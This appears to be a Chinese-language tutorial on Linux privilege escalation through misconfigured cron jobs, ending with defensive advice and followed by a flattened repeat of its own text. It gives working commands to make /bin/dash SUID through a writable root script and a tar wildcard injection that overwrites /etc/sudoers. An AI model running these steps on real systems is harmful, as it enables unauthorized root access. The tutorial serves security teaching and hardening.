利用定时任务(Cronjobs)进行Linux提权
字数 1341 2025-08-29 08:32:18

Linux提权技术:利用定时任务(Cronjobs)进行权限提升

1. Cronjobs基础概念

1.1 什么是Cronjobs

Cronjobs(定时任务)是Linux系统中用于安排周期性执行命令或脚本的工具。它由cron守护进程管理,会持续检查以下位置:

  • /etc/crontab 文件
  • /etc/cron.*/ 目录
  • /var/spool/cron/ 目录

1.2 Cronjobs的基本格式

一个典型的cronjob条目格式如下:

* * * * * user command-to-be-executed

五个星号分别代表:

  1. 分钟 (0-59)
  2. 小时 (0-23)
  3. 日 (1-31)
  4. 月 (1-12)
  5. 星期 (0-7,0和7都代表星期日)

2. 利用Cronjobs提权的两种方法

2.1 Crontab文件覆写提权

2.1.1 攻击场景

假设系统中存在一个每2分钟以root权限执行的Python脚本,用于清理特定目录。

2.1.2 攻击步骤

  1. 识别可利用的Cronjob

    cat /etc/crontab
    ls -al /tmp/cleanup.py
    cat /tmp/cleanup.py
    
  2. 修改脚本内容
    如果对脚本有写入权限,可以修改cleanup.py内容为:

    #!/usr/bin/env python
    import os
    import sys
    try:
        os.system('chmod u+s /bin/dash')
    except:
        sys.exit()
    
  3. 等待执行
    等待cronjob执行(本例中为2分钟后),/bin/dash将被设置SUID位。

  4. 获取root权限

    /bin/dash
    id
    whoami
    

2.1.3 关键点

  • 需要目标脚本有写入权限
  • 修改后的命令会以root权限执行
  • 设置SUID位是常见提权方法之一

2.2 Crontab Tar Wildcard注入提权

2.2.1 攻击场景

系统中存在一个每分钟以root权限执行的tar备份任务。

2.2.2 攻击步骤

  1. 识别可利用的Cronjob

    cat /etc/crontab
    

    发现类似条目:

    */1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
    
  2. 准备恶意文件

    echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh
    echo "" > "--checkpoint-action=exec=sh test.sh"
    echo "" > --checkpoint=1
    
  3. 触发漏洞

    tar cf archive.tar *
    
  4. 等待执行
    1分钟后,当前用户将被添加到sudoers文件中,获得无密码sudo权限。

  5. 获取root权限

    sudo -l
    sudo bash
    whoami
    

2.2.3 关键点

  • 利用了tar命令的--checkpoint--checkpoint-action参数
  • 通过文件名注入的方式执行恶意命令
  • 需要目标目录有写入权限
  • 最终通过修改sudoers文件实现提权

3. 防御措施

3.1 系统管理员防护建议

  1. 最小权限原则

    • Cronjob脚本和目录应严格限制写入权限
    • 避免使用root权限执行不必要的任务
  2. 审计与监控

    • 定期检查/etc/crontab/etc/cron.*/目录
    • 监控异常的系统文件修改
  3. 安全配置

    • 使用chattr +i保护关键脚本不被修改
    • 对cronjob执行的脚本进行完整性检查
  4. 更新与补丁

    • 保持系统更新,修复已知漏洞

3.2 开发者注意事项

  1. 避免使用通配符

    • 在cronjob命令中谨慎使用*等通配符
  2. 输入验证

    • 对所有可能被cronjob处理的文件进行严格验证
  3. 日志记录

    • 记录cronjob的执行情况和输出

4. 总结

本文详细介绍了两种利用Linux定时任务(Cronjobs)进行权限提升的技术:

  1. Crontab文件覆写:通过修改以root权限执行的脚本内容实现提权
  2. Tar Wildcard注入:利用tar命令的参数特性注入恶意命令

这两种方法都利用了系统配置不当或权限设置不严格的问题。防御的关键在于遵循最小权限原则、严格控制系统文件的访问权限,并定期审计系统配置。

Linux提权技术:利用定时任务(Cronjobs)进行权限提升 1. Cronjobs基础概念 1.1 什么是Cronjobs Cronjobs(定时任务)是Linux系统中用于安排周期性执行命令或脚本的工具。它由cron守护进程管理,会持续检查以下位置: /etc/crontab 文件 /etc/cron.*/ 目录 /var/spool/cron/ 目录 1.2 Cronjobs的基本格式 一个典型的cronjob条目格式如下: 五个星号分别代表: 分钟 (0-59) 小时 (0-23) 日 (1-31) 月 (1-12) 星期 (0-7,0和7都代表星期日) 2. 利用Cronjobs提权的两种方法 2.1 Crontab文件覆写提权 2.1.1 攻击场景 假设系统中存在一个每2分钟以root权限执行的Python脚本,用于清理特定目录。 2.1.2 攻击步骤 识别可利用的Cronjob : 修改脚本内容 : 如果对脚本有写入权限,可以修改 cleanup.py 内容为: 等待执行 : 等待cronjob执行(本例中为2分钟后), /bin/dash 将被设置SUID位。 获取root权限 : 2.1.3 关键点 需要目标脚本有写入权限 修改后的命令会以root权限执行 设置SUID位是常见提权方法之一 2.2 Crontab Tar Wildcard注入提权 2.2.1 攻击场景 系统中存在一个每分钟以root权限执行的tar备份任务。 2.2.2 攻击步骤 识别可利用的Cronjob : 发现类似条目: 准备恶意文件 : 触发漏洞 : 等待执行 : 1分钟后,当前用户将被添加到sudoers文件中,获得无密码sudo权限。 获取root权限 : 2.2.3 关键点 利用了tar命令的 --checkpoint 和 --checkpoint-action 参数 通过文件名注入的方式执行恶意命令 需要目标目录有写入权限 最终通过修改sudoers文件实现提权 3. 防御措施 3.1 系统管理员防护建议 最小权限原则 : Cronjob脚本和目录应严格限制写入权限 避免使用root权限执行不必要的任务 审计与监控 : 定期检查 /etc/crontab 和 /etc/cron.*/ 目录 监控异常的系统文件修改 安全配置 : 使用 chattr +i 保护关键脚本不被修改 对cronjob执行的脚本进行完整性检查 更新与补丁 : 保持系统更新,修复已知漏洞 3.2 开发者注意事项 避免使用通配符 : 在cronjob命令中谨慎使用 * 等通配符 输入验证 : 对所有可能被cronjob处理的文件进行严格验证 日志记录 : 记录cronjob的执行情况和输出 4. 总结 本文详细介绍了两种利用Linux定时任务(Cronjobs)进行权限提升的技术: Crontab文件覆写 :通过修改以root权限执行的脚本内容实现提权 Tar Wildcard注入 :利用tar命令的参数特性注入恶意命令 这两种方法都利用了系统配置不当或权限设置不严格的问题。防御的关键在于遵循最小权限原则、严格控制系统文件的访问权限,并定期审计系统配置。